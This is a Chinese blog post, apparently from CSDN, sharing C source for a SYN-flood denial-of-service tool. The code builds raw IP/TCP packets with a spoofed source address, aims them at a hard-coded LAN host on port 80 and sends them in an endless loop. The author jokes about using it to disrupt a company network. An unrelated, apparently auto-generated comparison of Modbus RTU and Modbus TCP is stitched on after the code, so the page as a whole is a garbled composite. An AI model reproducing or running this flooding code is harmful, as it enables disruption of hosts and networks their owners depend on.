简单的sync(tcp)攻击

本文介绍了一个简单的SYN包发送程序实现,通过在Ubuntu 8.04环境下使用GCC编译,可在局域网内模拟发送SYN包,实现特定主机间的通信测试。文中详细解释了如何构造IP和TCP头部,并计算校验和。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.

修改了,加了广播设置. 向写一个线程的,感觉跑起来好像不太对.

#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h> //ip
#include <netinet/tcp.h> //tcp
#include <stdlib.h>
#include <netinet/in.h>
#include <pthread.h>

//发sync包 icmp包

unsigned short ip_sum(unsigned short *addrr2, int len2) {
register unsigned short *addrr = addrr2;
register int len = len2;
register int sum = 0;
unsigned short answer = 0;

while (len > 1) {
sum += *addrr++;
len -= 2;
}
if (len == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) addrr;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}

//校验和涵数 ip头
unsigned short ipheadsum(unsigned short *packet, int packlen) {
register unsigned long sum = 0;
while (packlen > 1) {
sum += *(packet++);
packlen -= 2;
}
if (packlen > 0)
sum += *(unsigned char *) packet;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);

return (unsigned short) ~sum;
}

//校验和涵数 tcp头
unsigned short tcpheadsum(unsigned char *iphdr, unsigned short *packet, int packlen) {
unsigned short *buf;
unsigned short res;
buf = malloc(packlen + 12);
if (buf == NULL)
return 0;
memcpy(buf, iphdr + 12, 8); //源IP地址和目标IP地址
*(buf + 4) = htons((unsigned short) (*(iphdr + 9)));
*(buf + 5) = htons((unsigned short) packlen);
memcpy(buf + 6, packet, packlen);
res = ipheadsum(buf, packlen + 12);
free(buf);
return res;
}

static char synb[8192];

void sendSync(void) {
int sock, size, bytes_send;
struct sockaddr_in sin;

struct ip *iphead = (struct ip *) synb;
struct tcphdr *tcphead = (struct tcphdr *) (synb + sizeof(struct ip));

for (size = 0; size < 8192; size++) {
synb[size] = 0;
}
printf("create socket\r\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("192.168.0.109"); //被攻击的ip
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {
//IP_HDRINCL 在数据包中包含IP首部 int 这个选项常用于黑客技术中,隐藏自己的IP地址
printf("2");
perror("IP_HDRINCL");
exit(1);
}

const int on = 1;//设定常量,用于打开广播模式
//设定该接口上的广播模式
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
printf("2");
perror("IP_HDRINCL");
exit(1);
}

printf("create iphead\r\n");
iphead->ip_v = 4;//版本号4 IP4用4
iphead->ip_hl = 5;//little-endian IP头长度(单位为40位)5位
iphead->ip_tos = 0x00;//服务类型 一般为0
iphead->ip_len = sizeof(iphead) + sizeof(tcphead); //数据总长度 (单位为32位)
iphead->ip_id = 1025;//标识16
iphead->ip_off = 0;//分段偏移
iphead->ip_ttl = 201; //生存时间
iphead->ip_p = IPPROTO_TCP;//传输协议 tcp是6
iphead->ip_sum = 0;//头校验和
inet_aton("192.168.0.157", &iphead->ip_src);//假冒的ip // 源地址 目标地址
inet_aton("192.168.0.109", &iphead->ip_dst);//被攻击的ip

printf("create tcphead\r\n");
tcphead-> source = htons(12345);//假冒的端口 // 源端口
tcphead-> dest = htons(80);//被攻击的端口 // 目的端口
tcphead-> seq = htonl(3 + 64 << 8);// 序号
tcphead-> ack_seq = htons(0);// 确认号 收到的TCP信息的序号+1
tcphead-> syn = 1;//标志 同步
tcphead-> urg = 1;//标志 紧急
tcphead-> window = htons(0x20);//窗口
tcphead-> urg_ptr = htons(0x20);//紧急指针
tcphead-> check = ip_sum((short *) synb, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1); //校验和

iphead->ip_sum = ip_sum((short *) synb, (4 * iphead->ip_len + sizeof(struct tcphdr) + 1) & ~1);
printf("start send\r\n");

// int i = 10000;
while (1) {
bytes_send = sendto(sock, synb, 4 * iphead->ip_len + sizeof(struct tcphdr), 0, (struct sockaddr *) &sin, sizeof(sin));
// i--;
// usleep(1000*10);//秒
}
printf("end send\r\n");
}

//#include <syswait.h>
//usleep(n) //n微秒
//Sleep(n)//n毫秒
//sleep(n)//n秒

int main(int argc, char *argv[]) {
sendSync();
// pthread_t id1, id2, id3;
// int ret;
// ret = pthread_create(&id1, NULL,(void *) sendSync, NULL);
// if (ret != 0) {
// printf("Create pthread error!\n");
// }
// ret = pthread_create(&id2, NULL,(void *) sendSync, NULL);
// if (ret != 0) {
// printf("Create pthread error!\n");
// }
// ret = pthread_create(&id3, NULL,(void *) sendSync, NULL);
// if (ret != 0) {
// printf("Create pthread error!\n");
// }
// pthread_join(id1, NULL);
// pthread_join(id2, NULL);
// pthread_join(id3, NULL);
}
//gcc -lpthread -o SendMySync SendMySync.c
### Modbus RTU 与 Modbus TCP 的区别及应用场景 #### 协议基础差异 Modbus RTU 和 Modbus TCP 是两种基于不同底层通信技术的协议变体。Modbus RTU 基于串行接口(RS-232 或 RS-485),采用二进制编码方式传输数据[^1],而 Modbus TCP 则运行在以太网之上,依赖于 TCP/IP 协议栈来完成数据包封装和传输[^2]。 #### 数据帧结构 Modbus RTU 的消息帧由地址字段、功能码、数据区以及 CRC 校验组成,其中校验部分用于保障数据完整性。相比之下,Modbus TCP 在标准 Modbus 应答/请求帧的基础上增加了 MBAP 头部(Modbus Application Protocol Header),该头部包含了事务标识符、协议标识符、长度字段和单元标识符,从而适应网络层的需求[^3]。 #### 安全性考量 由于 Modbus RTU 缺乏内在的安全机制,其通信过程中的数据未经过任何加密处理,这使得它在网络环境中易受攻击或篡改风险的影响。然而,Modbus TCP 能够借助现代网络安全工具和技术(如 SSL/TLS 加密连接)增强抵御外部威胁的能力,适合更复杂的工业控制场景下的部署需求。 #### 实际应用领域 对于小型化、成本敏感型项目或是仅需短距离点对点通讯的情况来说,Modbus RTU 凭借其实现简单、硬件资源占用少的特点成为理想选择。而在大型工厂自动化系统中,当面临多节点互联、远程操作维护等挑战时,则倾向于选用具备更高带宽利用率和支持复杂拓扑能力的 Modbus TCP 方案。 ```python # 示例代码展示如何通过 Python 使用 pymodbus 库分别创建 Modbus RTU 和 Modbus TCP 客户端实例 from pymodbus.client.sync import ModbusTcpClient as TcpClient from pymodbus.client.sync import ModbusSerialClient as RtuClient def create_modbus_tcp_client(ip_address='127.0.0.1', port=502): client = TcpClient(host=ip_address, port=port) return client.connect() def create_modbus_rtu_client(device='/dev/ttyUSB0', baudrate=9600): client = RtuClient(method="rtu", port=device, baudrate=baudrate) return client.connect() ``` #### 性能表现分析 就实时响应速度而言,在同等条件下,Modbus RTU 往往优于 Modbus TCP ,这是因为后者额外引入了 IP 层次上的延迟开销[^4] 。不过考虑到当今大多数企业级解决方案都已转向基于 Ethernet 技术构建基础设施这一趋势下,这种差距通常是可以接受甚至忽略不计的程度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值